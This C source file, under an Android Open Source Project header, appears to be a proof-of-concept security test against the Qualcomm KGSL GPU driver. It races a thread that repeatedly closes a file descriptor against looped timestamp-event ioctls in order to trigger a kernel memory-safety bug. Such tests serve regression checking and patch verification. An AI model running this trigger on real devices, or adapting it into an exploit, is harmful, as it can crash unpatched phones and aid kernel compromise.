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154 lines
4.3 KiB
154 lines
4.3 KiB
/*
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* Copyright (C) 2017 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#define _GNU_SOURCE
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#include <stdlib.h>
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#include <unistd.h>
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#include <errno.h>
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#include <stdio.h>
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#include <dirent.h>
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#include <string.h>
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#include <sys/stat.h>
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#include <sys/ioctl.h>
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#include <stdio.h>
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#include <string.h>
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#include <dlfcn.h>
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#include <sys/time.h>
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#include <sys/mman.h>
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#include <sys/syscall.h>
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#include <sys/resource.h>
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#include <fcntl.h>
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#include <pthread.h>
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#include <unistd.h>
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#include <sched.h>
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#define KGSL_CONTEXT_SAVE_GMEM 0x00000001
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#define KGSL_CONTEXT_NO_GMEM_ALLOC 0x00000002
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/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
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#define KGSL_CONTEXT_SUBMIT_IB_LIST 0x00000004
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#define KGSL_CONTEXT_CTX_SWITCH 0x00000008
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#define KGSL_CONTEXT_PREAMBLE 0x00000010
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#define KGSL_CONTEXT_TRASH_STATE 0x00000020
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#define KGSL_CONTEXT_PER_CONTEXT_TS 0x00000040
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#define KGSL_CONTEXT_USER_GENERATED_TS 0x00000080
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/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
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#define KGSL_CONTEXT_END_OF_FRAME 0x00000100
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#define KGSL_CONTEXT_NO_FAULT_TOLERANCE 0x00000200
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/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
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#define KGSL_CONTEXT_SYNC 0x00000400
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#define KGSL_CONTEXT_PWR_CONSTRAINT 0x00000800
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#define KGSL_IOC_TYPE 0x09
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struct kgsl_drawctxt_create {
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unsigned int flags;
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unsigned int drawctxt_id; /*output param */
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};
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#define IOCTL_KGSL_DRAWCTXT_CREATE \
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_IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
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/* destroy a draw context */
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struct kgsl_drawctxt_destroy {
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unsigned int drawctxt_id;
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};
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#define IOCTL_KGSL_DRAWCTXT_DESTROY \
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_IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
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struct kgsl_timestamp_event {
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int type; /* Type of event (see list below) */
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unsigned int timestamp; /* Timestamp to trigger event on */
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unsigned int context_id; /* Context for the timestamp */
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void __user *priv; /* Pointer to the event specific blob */
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size_t len; /* Size of the event specific blob */
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};
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#define IOCTL_KGSL_TIMESTAMP_EVENT \
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_IOWR(KGSL_IOC_TYPE, 0x33, struct kgsl_timestamp_event)
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int g_fd = -1;
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int g_ctx_id = -1;
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int g_sync_fence_fd = -1;
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struct kgsl_timestamp_event g_event;
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static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
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static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
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void trigger_kgsl_create_drawctx() {
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struct kgsl_drawctxt_create ctx;
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ctx.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
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ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctx);
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g_ctx_id = ctx.drawctxt_id;
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}
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void trigger_kgsl_free_drawctx(int id) {
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struct kgsl_drawctxt_destroy ctx;
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ctx.drawctxt_id = id;
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ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &ctx);
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}
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void trigger_kgsl_timestamp_event() {
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ioctl(g_fd, IOCTL_KGSL_TIMESTAMP_EVENT, &g_event);
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}
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int open_driver() {
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char* dev_path = "/dev/kgsl-3d0";
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g_fd = open(dev_path, O_RDWR);
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return g_fd;
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}
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void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
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setpriority(PRIO_PROCESS, gettid(), privi);
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}
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void* race_thread(void* arg) {
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setup_privi_and_affinity(-19, 2);
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pthread_mutex_lock(&mutex);
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pthread_cond_wait(&cond, &mutex);
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pthread_mutex_unlock(&mutex);
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while (1) {
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close(4);
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}
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return NULL;
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}
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int main(int argc, char**argv) {
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setup_privi_and_affinity(-19, 1);
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if (open_driver() < 0) {
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return -1;
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}
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trigger_kgsl_create_drawctx();
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g_event.type = 2;
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g_event.context_id = g_ctx_id;
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g_event.len = 4;
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g_event.priv = malloc(0x1000);
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g_event.timestamp = 0;
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mprotect(g_event.priv, 0x1000, PROT_READ);
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pthread_t tid;
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pthread_create(&tid, NULL, race_thread, NULL);
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usleep(100 * 1000);
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pthread_cond_signal(&cond);
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usleep(20);
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while (1) {
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trigger_kgsl_timestamp_event();
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}
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return 0;
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}
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